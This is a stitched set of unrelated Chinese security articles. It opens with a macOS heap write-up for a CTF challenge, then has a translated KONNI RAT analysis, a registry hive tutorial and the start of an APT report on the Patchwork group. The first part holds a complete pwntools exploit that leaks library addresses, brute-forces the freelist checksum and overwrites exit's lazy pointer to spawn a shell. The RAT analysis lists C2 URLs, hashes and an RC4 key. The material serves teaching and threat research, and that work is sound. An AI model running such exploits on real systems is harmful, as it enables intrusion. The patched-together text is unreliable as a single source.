这个则如名字所示，按位来标记Q(n)是否具有freelist
### 堆的释放 – checksum
程序在运行时，都会随机生成一个cookie，这个cookie会pointer进行下面的计算生成一个checksum, 然后将(checksum << 56
) | (pointer >> 4)运算后将checksum保存在高位上，以便检测堆的元数据是否被溢出破坏
static MALLOC_INLINE uintptr_t
free_list_checksum_ptr(rack_t *rack, void *ptr)
{
uintptr_t p = (uintptr_t)ptr;
return (p >> NYBBLE) | ((free_list_gen_checksum(p ^ rack->cookie) & (uintptr_t)0xF) << ANTI_NYBBLE); // compiles to rotate instruction
}
static MALLOC_INLINE void *
free_list_unchecksum_ptr(rack_t *rack, inplace_union *ptr)
{
inplace_union p;
uintptr_t t = ptr->u;
t = (t << NYBBLE) | (t >> ANTI_NYBBLE); // compiles to rotate instruction
p.u = t & ~(uintptr_t)0xF;
if ((t ^ free_list_gen_checksum(p.u ^ rack->cookie)) & (uintptr_t)0xF) {
free_list_checksum_botch(rack, ptr, (void *)ptr->u);
__builtin_trap();
}
return p.p;
}
static MALLOC_INLINE uintptr_t
free_list_gen_checksum(uintptr_t ptr)
{
uint8_t chk;
chk = (unsigned char)(ptr >> 0);
chk += (unsigned char)(ptr >> 8);
chk += (unsigned char)(ptr >> 16);
chk += (unsigned char)(ptr >> 24);
#if __LP64__
chk += (unsigned char)(ptr >> 32);
chk += (unsigned char)(ptr >> 40);
chk += (unsigned char)(ptr >> 48);
chk += (unsigned char)(ptr >> 56);
#endif
return chk;
}
### magazine_t
这个则包含了上述介绍过的各种数据，比如chunk cache, 以及mag_free_bit_map, mag_free_list,
以及最后一个被使用的region, 以及所有region的链表
struct magazine_t {
...
void *mag_last_free;
unsigned[8] mag_bitmap;
free_list_t*[256] mag_free_list;
region_t mag_last_region;
region_trailer_t *firstNode, *lastNode;
...
}
### 堆的申请
整个申请流程是首先从cache中寻找是否有对应的堆，如果没有接着从freelist中寻找，没找到再从region中去申请
## 题目攻击思路
首先题目保护全开，具有PIE，再分析程序流程。
程序整个流程就是以下面的结构体进行堆数据操作。
struct mem {
int StyleTableIndex
int ShapeTableIndex
int Time
int NameSize
char *NameMem
}
* 溢出
发现在update()更新mem时，可以随意设定当前mem->nameSize的大小，导致修改name时，可溢出修改name后的下一块mem的数据。
但是修改的size发现做了限制，导致数据溢出最大只能修改到mem结构的前三项
mem->StyleTableIndex
mem->ShapeTableIndex
mem->Time
* leak
在show()显示时，可以用StyleTable[offset/8]来leak数据
因为有PIE的存在，程序每次运行堆栈地址都会随机，所以整个利用思路就是先leak
libsystem_c.dylib的地址，接着利用heap操作产生的漏洞去将包含的execv(‘/bin/sh’)代码运行地址写入可以劫持到程序流程的地方。
### 利用MacOS堆的特性leak libsystem_c.dylib
查看程序运行时的vmmap，可以看到程序下方有个Malloc metadata的region，这里开头存放的就是DefaultZone
我们可以看下libmalloc的源代码
typedef struct _malloc_zone_t {
/* Only zone implementors should depend on the layout of this structure;
Regular callers should use the access functions below */
void *reserved1; /* RESERVED FOR CFAllocator DO NOT USE */
void *reserved2; /* RESERVED FOR CFAllocator DO NOT USE */
size_t (* MALLOC_ZONE_FN_PTR(size))(struct _malloc_zone_t *zone, const void *ptr); /* returns the size of a block or 0 if not in this zone; must be fast, especially for negative answers */
void *(* MALLOC_ZONE_FN_PTR(malloc))(struct _malloc_zone_t *zone, size_t size);
void *(* MALLOC_ZONE_FN_PTR(calloc))(struct _malloc_zone_t *zone, size_t num_items, size_t size); /* same as malloc, but block returned is set to zero */
void *(* MALLOC_ZONE_FN_PTR(valloc))(struct _malloc_zone_t *zone, size_t size); /* same as malloc, but block returned is set to zero and is guaranteed to be page aligned */
void (* MALLOC_ZONE_FN_PTR(free))(struct _malloc_zone_t *zone, void *ptr);
void *(* MALLOC_ZONE_FN_PTR(realloc))(struct _malloc_zone_t *zone, void *ptr, size_t size);
void (* MALLOC_ZONE_FN_PTR(destroy))(struct _malloc_zone_t *zone); /* zone is destroyed and all memory reclaimed */
const char *zone_name;
/* Optional batch callbacks; these may be NULL */
unsigned (* MALLOC_ZONE_FN_PTR(batch_malloc))(struct _malloc_zone_t *zone, size_t size, void **results, unsigned num_requested); /* given a size, returns pointers capable of holding that size; returns the number of pointers allocated (maybe 0 or less than num_requested) */
void (* MALLOC_ZONE_FN_PTR(batch_free))(struct _malloc_zone_t *zone, void **to_be_freed, unsigned num_to_be_freed); /* frees all the pointers in to_be_freed; note that to_be_freed may be overwritten during the process */
struct malloc_introspection_t * MALLOC_INTROSPECT_TBL_PTR(introspect);
unsigned version;
/* aligned memory allocation. The callback may be NULL. Present in version >= 5. */
void *(* MALLOC_ZONE_FN_PTR(memalign))(struct _malloc_zone_t *zone, size_t alignment, size_t size);
/* free a pointer known to be in zone and known to have the given size. The callback may be NULL. Present in version >= 6.*/
void (* MALLOC_ZONE_FN_PTR(free_definite_size))(struct _malloc_zone_t *zone, void *ptr, size_t size);
/* Empty out caches in the face of memory pressure. The callback may be NULL. Present in version >= 8. */
size_t (* MALLOC_ZONE_FN_PTR(pressure_relief))(struct _malloc_zone_t *zone, size_t goal);
/*
* Checks whether an address might belong to the zone. May be NULL. Present in version >= 10.
* False positives are allowed (e.g. the pointer was freed, or it's in zone space that has
* not yet been allocated. False negatives are not allowed.
*/
boolean_t (* MALLOC_ZONE_FN_PTR(claimed_address))(struct _malloc_zone_t *zone, void *ptr);
} malloc_zone_t;
值得我们仔细关注的是这里的
`struct malloc_introspection_t * MALLOC_INTROSPECT_TBL_PTR(introspect);`
继续查看源代码
typedef struct malloc_introspection_t {
kern_return_t (* MALLOC_INTROSPECT_FN_PTR(enumerator))(task_t task, void *, unsigned type_mask, vm_address_t zone_address, memory_reader_t reader, vm_range_recorder_t recorder); /* enumerates all the malloc pointers in use */
size_t (* MALLOC_INTROSPECT_FN_PTR(good_size))(malloc_zone_t *zone, size_t size);
...
}
用之前介绍过的堆资料，可以知道
所以DefaultZone->introspect->enumerator这里储存了enumerator对应的函数`szone_ptr_in_use_enumerator`的地址
#### libsystem_malloc.dylib地址
所以
libsystem_malloc.dylib的地址 = leak出的`szone_ptr_in_use_enumerator地址 -sznoe偏移量(0x0000000000013D68)`
#### libsystem_c.dylib地址
这里有个很有趣的现象，就是MacOS的PIE会保证程序每次运行时都会随机堆栈以及加载地址，但是引入的动态库地址不会产生变化，似乎只会在开机时变化。
所以可以看下vmmap，确定下libsystem_c.dylib与libsystem_malloc.dylib加载地址，得到偏移量。
`libsystem_c.dylib = libsystem_malloc.dylib - 偏移量(0x161000)`
### OneGadget RCE
分析了libsystem_c.dylib,发现了与Linux libc中同样的execv(‘/bin/sh’)代码片段
`onegadget rce = libsystem_c.dylib + 0x0000000000025D94`
### 劫持程序流 – 前置
这里利用MachO的Lazy
Bind机制，复写libsystem_c.dylib的la_symbol_ptr表中的函数存放地址（不写原程序的原因是无法leak原程序加载地址）
查看一周发现最优的选择为`exit_la_symbol_ptr`
我们可以在add()函数阶段输入不被认可的Size，可让程序执行exit()进而执行我们写入的地址。
这里发现libsystem_c.dylib的TEXT和DATA
region地址相差较大，不像原程序紧挨在一起，所以这里还需要再leak一次libsystem_c.dylibd的DATA region地址。
#### libsystem_c.dylib DATA
分析原程序时发现在`.got`内有个`FILE **__stdinp_ptr`
可以看到开头的_p指向了某块内存的地址，这样就可以利用这个来完成leak DATA地址,这里buffer与DATA起始地址的偏移量分析下就可以得到
`libsystem_c_DATA = libsystem_c_stdinptr - 0x4110`
typedef struct __sFILE {
unsigned char *_p; /* current position in (some) buffer */
int _r; /* read space left for getc() */
int _w; /* write space left for putc() */
short _flags; /* flags, below; this FILE is free if 0 */
short _file; /* fileno, if Unix descriptor, else -1 */
struct __sbuf _bf; /* the buffer (at least 1 byte, if !NULL) */
int _lbfsize; /* 0 or -_bf._size, for inline putc */
/* operations */
void *_cookie; /* cookie passed to io functions */
int (*_close)(void *);
int (*_read) (void *, char *, int);
fpos_t (*_seek) (void *, fpos_t, int);
int (*_write)(void *, const char *, int);
/* separate buffer for long sequences of ungetc() */
struct __sbuf _ub; /* ungetc buffer */
struct __sFILEX *_extra; /* additions to FILE to not break ABI */
int _ur; /* saved _r when _r is counting ungetc data */
/* tricks to meet minimum requirements even when malloc() fails */
unsigned char _ubuf[3]; /* guarantee an ungetc() buffer */
unsigned char _nbuf[1]; /* guarantee a getc() buffer */
/* separate buffer for fgetln() when line crosses buffer boundary */
struct __sbuf _lb; /* buffer for fgetln() */
/* Unix stdio files get aligned to block boundaries on fseek() */
int _blksize; /* stat.st_blksize (may be != _bf._size) */
fpos_t _offset; /* current lseek offset (see WARNING) */
} FILE;
### 劫持程序流 – 核心
根据前面堆的申请介绍，我们可以构造一些tiny堆，让再次申请堆时保证从freelist上获取，然后完成tiny_malloc_from_free_list()，使内部的unlink操作完成`next->previous
= ptr->previous`任意数据写任意地址的操作
但是这里有个问题，就是在unlink前，会有个unchecksum的检查，因为程序每次运行时，都会对当前的zone生成随机的cookie，导致这里无法绕过去
next = free_list_unchecksum_ptr(rack, &ptr->next);
free_list_gen_checksum(uintptr_t ptr)
{
uint8_t chk;
chk = (unsigned char)(ptr >> 0);
chk += (unsigned char)(ptr >> 8);
chk += (unsigned char)(ptr >> 16);
chk += (unsigned char)(ptr >> 24);
#if __LP64__
chk += (unsigned char)(ptr >> 32);
chk += (unsigned char)(ptr >> 40);
chk += (unsigned char)(ptr >> 48);
chk += (unsigned char)(ptr >> 56);
#endif
return chk;
}
static MALLOC_INLINE uintptr_t free_list_checksum_ptr(rack_t *rack, void *ptr)
{
uintptr_t p = (uintptr_t)ptr;
return (p >> NYBBLE) | ((free_list_gen_checksum(p ^ rack->cookie) & (uintptr_t)0xF) << ANTI_NYBBLE); // compiles to rotate instruction
}
但万幸的是MacOS在对生成的cookie和pointer进行checksum后，只使用了4个有效位来保存checksum值，所以可以设定个checksum进行爆破，让程序生成的cookie在与我们的pointer在checksum后恰好等于我们自己设定的值。
`value = p64(((libsystem_c_exit_la_symbol_ptr >> 4) | int(checksum, 16)))`
## getshell
下面是完整的exp
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from pwn import *
#import monkeyhex
from binascii import *
import socket
import sys
def main(checksum, localFlag):
if localFlag == 1:
p = process('./applepie')
elif localFlag == 2:
p = remote('127.0.0.1', 10007)
elif localFlag == 3:
p = remote('111.186.63.147', 6666)
# context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
def add(style,shape,size,name):
p.recvuntil('Choice: ')
p.sendline('1')
p.recvuntil(':')
p.sendline(str(style))
p.recvuntil(':')
p.sendline(str(shape))
p.recvuntil(':')
p.sendline(str(size))
p.recvuntil(':')
p.sendline(name)
def show(id):
p.recvuntil('Choice:' )
p.sendline('2')
p.recvuntil(':')
p.sendline(str(id))
def update(id,style,shape,size,name):
p.recvuntil('Choice: ')
p.sendline('3')
p.recvuntil(':')
p.sendline(str(id))
p.recvuntil(':')
p.sendline(str(style))
p.recvuntil(':')
p.sendline(str(shape))
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil(':')
p.sendline(name)
def free(id):
p.recvuntil('Choice:')
p.sendline('4')
p.recvuntil(':')
p.sendline(str(id))
id0 = add(1, 1, 0x40, 'aaa')
id1 = add(1, 1, 0x40, 'aaa')
# 溢出修改styleTable数组的index，完成leak Default Zone struct的introspect保存的enumerator，可以用来leak libsystem_malloc.dylib
# libsystem_malloc.dylib`szone_ptr_in_use_enumerator:
# 0x7fff68161d68 <+0>: push rbp
# 0x7fff68161d69 <+1>: mov rbp, rsp
update(0, 1, 1, 0x50, 'a'*0x40 + p64(0x3fc0/8))
show(1)
p.recvuntil('Style: ')
szone_ptr_in_use_enumerator = u64(p.recvuntil('n')[:-1].ljust(8, 'x00'))
log.info_once('szone_ptr_in_use_enumerator = ' + hex(szone_ptr_in_use_enumerator))
# szone_ptr_in_use_enumerator函数在libsystem_malloc.dylib中的地址0x0000000000013D68
libsystem_malloc_baseImage = szone_ptr_in_use_enumerator - 0x0000000000013D68
# Mac PIE的特殊性，程序本身每次运行全随机化，但动态库只有在开机时才会随机一次，此后位置都为固定
libsystem_c_baseImage = libsystem_malloc_baseImage - 0x161000
onegadget_rce = libsystem_c_baseImage + 0x0000000000025D94
# libsystem_c_exit_la_symbol_ptr = libsystem_c_baseImage + 0x8a0b0
log.info_once('libsystem_malloc.dylib = ' + hex(libsystem_malloc_baseImage))
log.info_once('libsystem_c.dylib = ' + hex(libsystem_c_baseImage))
log.info_once('libsystem_c.dylib: onegadget rce = ' + hex(onegadget_rce))
# log.info('libsystem_c.dylib: exit->la_symbol_ptr = ' + hex(libsystem_c_exit_la_symbol_ptr))
# 发现libsyste_c.dylib等动态库DATA与TEXT段分离较远（vmmap）,所以先leak libsystem_c.dylib的DATA段
update(0, 1, 1, 0x50, 'a'*0x40 + p64(0xffffffffffffff78/8))
show(1)
p.recvuntil('Style: ')
libsystem_c_stdinptr = u64(p.recvuntil('n')[:-1].ljust(8, 'x00'))
log.info_once('FILE *stdinp->p: ' + hex(libsystem_c_stdinptr))
libsystem_c_DATA = libsystem_c_stdinptr - 0x4110
log.info_once('libsystem_c.dylib: DATA seg = ' + hex(libsystem_c_DATA))
libsystem_c_exit_la_symbol_ptr = libsystem_c_DATA + 0xb0
log.info_once('libsystem_c.dylib: exit->la_symbol_ptr = ' + hex(libsystem_c_exit_la_symbol_ptr))
# 接着步骤为
id2 = add(1, 1, 0x40, 'aaa')
id3 = add(1, 1, 0x40, 'aaa') # free
id4 = add(1, 1, 0x40, 'aaa') # -----> 更改这个堆，溢出修改到下一个free块id5
id5 = add(1, 1, 0x40, 'aaa') # free
id6 = add(1, 1, 0x40, 'aaa')
id7 = add(1, 1, 0x40, 'aaa') # free
id8 = add(1, 1, 0x40, 'aaa')
# 释放id3,将其挂在freelist上
free(3)
free(5)
free(7)
# 更新块id2时，溢出修改前面释放的id3块上的元数据头
# ----------------------------- # prev_pointer | next_pointer
# size | ...
# ...
# | size
# ----------------------------- #
# 然后下次malloc时，会从freelist上获取之前free的id3
value = p64(((libsystem_c_exit_la_symbol_ptr >> 4) | int(checksum, 16)))
log.info_once('after checksum(ptr): ' + hex(u64(value)))
id7 = add(1, 1, 0x40, 'aaa')
update(4, 1, 1, 0x50, 'a'*0x40 + p64(onegadget_rce) + value)
# malloc申请内存，完成unlink操作, 将onegadget_rce写入libsystem_c_exit_la_symbol_ptr
p.recvuntil('Choice: ')
p.recvuntil('Choice: ')
p.sendline('1') # add
try:
res = p.recv() # recvice 'Error'
if res.find('malloc') > 0:
log.failure('error checksum: ' + res)
return
else:
log.success('!!! currect checksum(' + hex(libsystem_c_exit_la_symbol_ptr) + '): ' + hex(u64(value)))
p.sendline('1') # Style
p.recvuntil('Choice: ')
p.sendline('1') # Shape
p.recvuntil('Size: ')
p.sendline('9999') # 输入错误Size让程序去执行exit()流程
p.recv() # 'Error'
p.sendline('uname')
res = p.recvuntil('Darwin')
log.info(res)
except:
return
p.interactive() # 这里getshell后就可以退出了
if res.find('Darwin') >= 0:
sys.exit()
for i in range(0x00, 0x23):
checksum = '0x'+'{:016x}'.format(0x23<<56)
main(checksum, 1) | 社区文章 |
# 【技术分享】针对新型KONNI变种的分析
|
##### 译文声明
本文是翻译文章，文章来源：fortinet.com
原文地址：<https://blog.fortinet.com/2017/08/15/a-quick-look-at-a-new-konni-rat-variant>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：120RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
****
KONNI是一种 **远程访问木马** （remote access
Trojan，RAT），最早于2017年5月被发现，但我们认为该木马的使用时间最早可以追溯到3年以前。在日常威胁态势监控中，FortiGuard实验室发现一款KONNI木马的新型变种，决定对其进行深入分析。
**二、木马分析**
****
研究人员已经发现，KONNI的传播与之前针对 **朝鲜**
的攻击行为密切相关。新的变种与之前的变种差别不大，因为它仍然采用DOC文档作为传播载体，DOC文档内容取自CNN的报道文章，题目是“12 things
Trump should know about North
Korea（关于朝鲜特朗普需要知道的12件事情）”。这篇文章发表于2017年8月9日，这表明该变种很有可能是最新的一批变种。虽然KONNI所属的组织使用了与朝鲜主题有关的钓鱼文件，但我们很难判断攻击目标是否与朝鲜事务有所关联。
恶意DOC文件包含一段VB宏代码，该代码可以释放并执行KONNI安装程序，安装程序的存储路径为%temp%文件夹中的stify.exe：
释放出来的文件经过Aspack 2.12加壳器加壳，如下图所示：
该文件的IMAGEFILEHEADER字段可以告诉我们文件的编译时间戳，根据这一信息，该变种于2017年8月8日编译完成（如果文件没被修改过，信息准确无误的话）。
安装器在资源区中包含2个KONNI
DLL文件。一个为32位版本，另一个专为64位Windows系统设计。根据时间戳信息，我们发现这两个DLL均于2017年7月11日编译完成。
KONNI DLL被释放后，在本地磁盘中的存储路径为 **%LocalAppData%MFADataevent**
文件夹下的errorevent.dll。安装器会在注册表中创建自启动表项，当系统重启后，可以利用rundll32.exe重新运行DLL。
经过差异比较后，我们发现木马文件的功能与2017年8月8日分析的那个文件没有差别。木马具备相同的功能，可以根据指令执行对应的动作，如下所示：
**‘0’ : 将某个文件发往C &C服务器。**
**‘1’ :
获取系统信息，例如计算机IP地址、计算机名称、用户名、驱动器信息、产品名称、系统类型（32位或64位）、开始菜单程序以及已安装的软件，这些信息会被发往C
&C服务器。**
**‘2’ : 截屏并发往C &C服务器。**
**‘3’ : 查找特定目录以及子目录中的文件。**
**‘4’ : 查找特定目录中的文件。**
**‘5’ : 删除某个文件。**
**‘6’ : 运行某个文件。**
**‘7’ : 下载文件**
木马还具有键盘记录以及剪贴板信息抓取功能。日志文件的存放路径为 **%LocalAppdata%Packagesmicrosoftdebug.tmp**.
然而，与之前分析的样本相比，这个变种在与命令控制服务器通信时没有使用2字节加密密钥的异或（XOR）加密算法对通信数据进行加密处理。虽然我们在分析样本时，服务器没有响应任何指令，但我们可以肯定的是，从C&C服务器返回的初始响应包没有经过加密或者编码处理。响应包只是简单地使用“xzxzxz”字符串作为分隔符。
该变种使用如下形式的HTTP查询字符串将数据发往C&C服务器：
在这个版本中，id字段根据主机操作系统的安装日期计算而得：
title为原始数据文件所对应的文件名（包含扩展名），passwd为经过编码后实际数据。
将数据发往C&C服务器之前，数据首先会经过ZIP压缩，再使用“123qweasd/*-+p[;’p”密钥进行RC4加密，然后再使用Base64进行编码。
**三、总结**
****
KONNI并不是一个复杂的恶意软件，木马没有经过太多混淆处理。经过快速差异对比后，我们就能发现攻击者对新变种做的改动。到目前为止，貌似新变种唯一的改动就是释放程序安装KONNI
DLL的方式有所不同。根据我们在过去几个月中的持续跟踪，我们认为该木马会在未来继续活跃。
Fortinet将这种威胁标记为W32/Noki.A!tr，并将VB宏释放脚本标记为WM/MacroDropper.A!tr。
**四、附录**
****
**样本特征：**
样本哈希值为：
834d3b0ce76b3f62ff87b7d6f2f9cc9b (DOC)
0914ef43125114162082a11722c4cfc3 (EXE)
38ead1e8ffd5b357e879d7cb8f467508 (DLL)
**URL地址：**
donkeydancehome[.]freeiz.com/weget/upload[.]php (C&C)
seesionerrorwebmailattach[.]uphero[.]com/attach/download.php?file=12%20things%20Trump%20should%20know%20about%20North%20Korea.doc
(DOC下载URL) | 社区文章 |
# 注册表hive基础知识介绍第三季-VK记录（上）
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://binaryforay.blogspot.com/2015/01/registry-hive-basics-part-3-vk-records.html>
译文仅供参考，具体内容表达以及含义原文为准。
**在**[ **第二季**](http://bobao.360.cn/learning/detail/2531.html)
**中，我们已经介绍了NK记录了。在这一季中，我们将要介绍的是NK记录最好的“伙伴”——VK记录。**
**VK记录**
如果我们需要定义一个与NK记录相关的数值，那么就需要用到VK（数值项）记录中的信息了。下图显示的是磁盘中现有的一条VK记录实例：
下图显示的是另一条VK记录的实例：
你能发现这两个实例之间的区别吗？即便不能也没有关系，继续阅读这篇文章，你的问题就会迎刃而解。
在一条VK记录中，总共有10种类型的信息。这些信息几乎每一条都是非常重要的，主要包括：
| 大小（Size）
| 签名（Signature）
| 名称长度（Name length）
| 数据长度（Data length）
| 数据（Data）
| 类型（Type）
| 标识符（Flag）
| 名称（Name）
请注意，在一条VK记录之中，没有最后一次写操作的时间。这样一来，我们就无法得知一个给定项的最后一次更新时间了（除非一个给定项中只有一个数值）。
**大小（Size）**
VK记录的大小值起始于偏移量0x00处，系统使用了一个长度为32位的有符号整数来对它进行存储。在上述第一张截图中，其十六进制数值为0xD8FFFFFF（小端存储格式）。将这个十六进制数值进行转换，其十进制数值为-40。
VK记录大小跟NK记录的大小是一样，所以这条记录的实际大小为40个字节。
**签名（Signature）**
VK记录的签名起始于偏移量0x04处。VK记录的签名是ASCII码字符串“vk”，用十六进制表示即为0x766B。
**命名长度（Name length）**
命名长度值起始于偏移量0x06处，系统使用了一个长度为16位的无符号整数来对它进行存储，其长度为2个字节。
在第一个例子中，其命名长度值为0x0B00，转换成十进制即为11。在第二个例子中，其命名长度值为0x0000，转换成十进制即为0。
一个数值的命名长度为什么会为零呢？如果没有命名，那么我们怎么去表达一个数值呢？
通过regedit.exe(注册表编辑器)打开注册表之后，你可以看到在很多值的名称显示为（默认），不知道你曾经是否质疑过这一点。那是因为当注册表编辑器发现命名长度为0的值时，就会给这个值命名为（默认）。系统之所以这样操作，是因为在一个普通的注册表项中，系统通常会对相同的字符串进行一遍又一遍的存储操作，系统采用了这样的操作方式之后，效率会大大提高。
这就是上述两个例子中我所指的不同点。
在VK记录中，当命名长度为零的时候，命名就不存在。当命名长度大于零时，命名就存在。在第一个例子中，命名长度为11。虽然我没有指出这条记录名称的位置在哪，但是如果你仔细看第一个例子，你就会找到它的位置。在第一个例子中，数据值的命名称为‘Description’，其长度为11个字符。
**数据长度（Data length）**
数据长度值起始于偏移量0x08处，系统使用了一个长度为32位的无符号整数来对它进行存储。
在第一个例子中，其数据长度为0xB0000000，将其转换为十进制即得到176。在第二个例子中，数据长度为0x58000000，将其转换为十进制即得到88.
这些长度值看起来可能会有些奇怪。一个大小为40字节的VK记录怎么能容的下一个大小为176字节的值呢？我们将会在下一部分的讨论中为大家解答这个问题。
当我们分析数据长度的时候还有一个非常重要的东西需要了解，即驻留数据的概念。跟MFT记录相似，注册表可以在VK记录中直接存储足够小的数据。
如果想让问题变得更加的容易理解，那么我们还需要对另外一条VK记录进行分析：
在这个例子中，其数据长度为 0x02000080, 转换为十进制后得到2,147,483,650。我从未在注册表中见过这么大的值，这里肯定出现了问题。
判断数据是否驻留在VK记录中的关键就在于把数据长度转换为二进制格式，并检查其高阶位的数值。你应该还记得数据长度的值是一个32位的整数吧？所以当我们要把数据长度转换成二进制数值时，可以向转换所得到的二进制数的左边用0进行填充，然后变可以得到一个总长度为32个字符的数据了。
如果把前两个数据长度的大小转换成二进制，我们可以得到下列数据：
176 --> 00000000000000000000000010110000
88 --> 00000000000000000000000001011000
但是当我们在对最后一个例子采用同样的方式进行操作时，请注意发生了什么:
2,147,483,650 --> 10000000000000000000000000000010
在最后一个例子中，最高位是1，这种情况表示的就是该数据是驻留数据。一旦我们知道哪些数据是驻留数据时，我们就可以用数据长度减去0x80000000（0x80000002
– 0x80000000 == 0x02），从而得到实际的数据长度。
基于这些信息，你能猜出当数据是驻留数据时，一条VK记录所能容纳的最大数据长度是多少吗？
请继续阅读，你会得到答案的！
**数据（Data）**
数据起始于偏移量0x0c处，其长度为4个字节。
在第一例子中，数据为0x48000E00。第二个例子中，数据为0x304D8500。在讨论驻留数据的第三个例子中，数据为0x00000000。
有一点很重要，就是我们要找出VK记录的值占多少个字节。换言之，我们最终得到的数据将会是一段字节序列。在我们进入下一部分（类型Type）讨论之前，我们目前仍不知道如何将这些数据解析成为更加容易理解的东西。我们在下一部分将会对类型Type进行讨论。
当我们讨论到数据时，有两种情况我们必须要注意：有驻留数据的情况和无驻留数据的情况。
既然我们刚刚已经总结出了怎么判断数据是否为驻留数据，那么我们就先讨论有驻留数据的情形。
当数据驻留在VK记录中时，这也就意味着数据字节（在驻留数据例子中的0x00000000）就是VK记录的数据。虽然这看起来会有些奇怪，但是在我们讨论无驻留数据时，这些知识会变得更加有用。
既然你明白了这一点，那么回到我刚刚提到的问题，现在你应该有些思路了吧？既然数据只有4字节，那么驻留数据所能存储的最大字节数就是4。在我们上面的例子中，驻留数据长度为2，但是也有以下可能：
| 大小为4字节的数据占用了数据偏移量全部的4个字节
| 大小为2字节的数据占用了数据偏移量的最后两个字节（小端存储系统）
| 大小为1字节的数据占用了数据偏移量的最后一个字节（小端存储系统）
| 大小为0字节的数据表示值未被设置（或为空）
既然我们的驻留数据长度为2，那么记录中的数据字节数为0x0000。
驻留数据通常用来存储32位（或更小）的数据，以及一些可能很小的字符串。
既然有数据驻留的情形是比较罕见的，那么我们将会在第三季的下集来讲解无数据驻留的情形。敬请期待！ | 社区文章 |
# 360追日团队APT报告：摩诃草组织（APT-C-09）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****一、概述：
* * *
摩诃草组织（APT-C-09），又称HangOver、VICEROY TIGER、The Dropping
Elephant、Patchwork，是一个来自于南亚地区的境外APT组织，该组织已持续活跃了7年。摩诃草组织最早由Norman安全公司于2013年曝光，随后又有其他安全厂商持续追踪并披露该组织的最新活动，但该组织并未由于相关攻击行动曝光而停止对相关目标的攻击，相反从2015年开始更加活跃。
摩诃草组织主要针对中国、巴基斯坦等亚洲地区国家进行网络间谍活动，其中以窃取敏感信息为主。相关攻击活动最早可以追溯到2009年11月，至今还非常活跃。在针对中国地区的攻击中，该组织主要针对政府机构、科研教育领域进行攻击，其中以科研教育领域为主。
从2009年至今，该组织针对不同国家和领域至少发动了3波攻击行动和1次疑似攻击行动。整个攻击过程使用了大量系统漏洞，其中至少包括一次0day漏洞攻击；该组织所采用的恶意代码非常繁杂。载荷投递的方式相对传统，主要是以鱼叉邮件进行恶意代码的传播，另外部分行动会采用少量水坑方式进行攻击；值得关注的是，在最近一次攻击行动中，出现了基于即时通讯工具和社交网络的恶意代码投递方式，进一步还会使用钓鱼网站进行社会工程学攻击。在攻击目标的选择上，该组织主要针对Windows系统进行攻击，同时我们也发现了存在针对Mac
OS X系统的攻击，从2015年开始，甚至出现了针对Android OS移动设备的攻击。
由于对摩诃草组织的攻击行动不是第一次披露，通过针对相应TTPs（Tactics, Techniques and
Procedures，战术、技术与步骤）的分析，结合以往跟进或披露的各类APT组织或攻击行动，我们认为大部分APT组织的相关攻击活动是不会停歇的，即使被某些报告暂时披露，导致过去的手段失效，但是只要被攻击目标存在价值，攻击组织的行动依然持续；存在部分情况，攻击已达到最初预期，攻击组织选择暂时的蛰伏，但最终的目的也都是为了下一次攻击养精蓄锐，这也是APT本身特性之一。其次，APT组织是否会对一个目标发动攻击，主要取决于被攻击目标的价值，而不在于被攻击目标本身的安全防护强弱程度，被攻击目标本身的强弱只是决定了攻击组织所需的成本，而大多数APT组织会为了达到其意图，几乎不计成本（具有国家背景的攻击组织所投入的攻击成本常常超出我们的想象）。
分析过去一年中发生的APT攻击，我们还发现中国一直都是APT攻击的主要受害国，其中相关攻击组织主要关注科研教育、政府机构领域，以窃取数据为目的。这和中国目前所处的经济与政治环境息息相关。同时，导致针对中国目标的攻击频频得手，除了被攻击目标本身防御措施薄弱以外，针对APT等高级威胁，被攻击目标本身缺乏积极主动的响应，即使在报告披露之后，甚至得知成为受害者之后，依然无法引起相应的重视，导致对自身检查和修复不足，常常旧伤未愈，又添新恨。
同时，中国网络安全行业依然缺乏能力型厂商的生存空间，大量的建设还是围绕过去的规划思路进行，这就导致了防护措施与高级威胁之间的脱节，从而给APT攻击造成了大量可乘之机。十三五规划的第一年，只有我们真正从安全规划上改变思路，积极引入能力型厂商，才能形成能力型安全厂商与客户之间的协同联动，打通监控发现到检测防御的事件响应各个环节，形成良性的闭合循环。
* * *
**表1安全厂商针对摩诃草组织发布的相关报告汇总列表**
**相关报道：**
* * *
<http://blogs.norman.com/2013/security-research/the-hangover-report>
<http://www.symantec.com/connect/blogs/operation-hangover-qa-attacks>
<http://www.welivesecurity.com/2013/06/05/operation-hangover-more-links-to-the-oslo-freedom-forum-incident>
<https://www.crowdstrike.com/blog/rare-glimpse-real-life-command-and-control-server/>
<https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets>
<https://blogs.technet.microsoft.com/srd/2013/11/05/cve-2013-3906-a-graphics-vulnerability-exploited-through-word-documents/>
<https://blogs.mcafee.com/business/updates-and-mitigation-to-cve-2013-3906-zero-day-threat/>
<https://www.crowdstrike.com/blog/viceroy-tiger-delivers-new-zero-day-exploit/>
<https://www.fireeye.com/blog/threat-research/2013/11/the-dual-use-exploit-cve-2013-3906-used-in-both-targeted-attacks-and-crimeware-campaigns.html>
<https://www.bluecoat.com/security-blog/2014-06-10/snake-grass-python-based-malware-used-targeted-attacks>
<https://www.cymmetria.com/2016/07/12/unveiling-patchwork-apt/>
<https://securelist.com/blog/research/75328/the-dropping-elephant-actor/>
<http://www.antiy.com/response/WhiteElephant/WhiteElephant.html>
<http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries>
**二、摩诃草组织的四次攻击行动**
* * *
********
****
**图1摩诃草组织相关重点事件时间轴**
注：
1、圆形蓝色里程碑：相关典型后门首次出现时间
2、正方形里程碑：相关漏洞（CVE编号）首次出现时间
黑色：发起相关攻击时，漏洞为已知漏洞
橙色：发起相关攻击时，漏洞为0day漏洞
3、菱形深灰色里程碑：载荷投递首次出现的时间
**图2四波攻击行动**
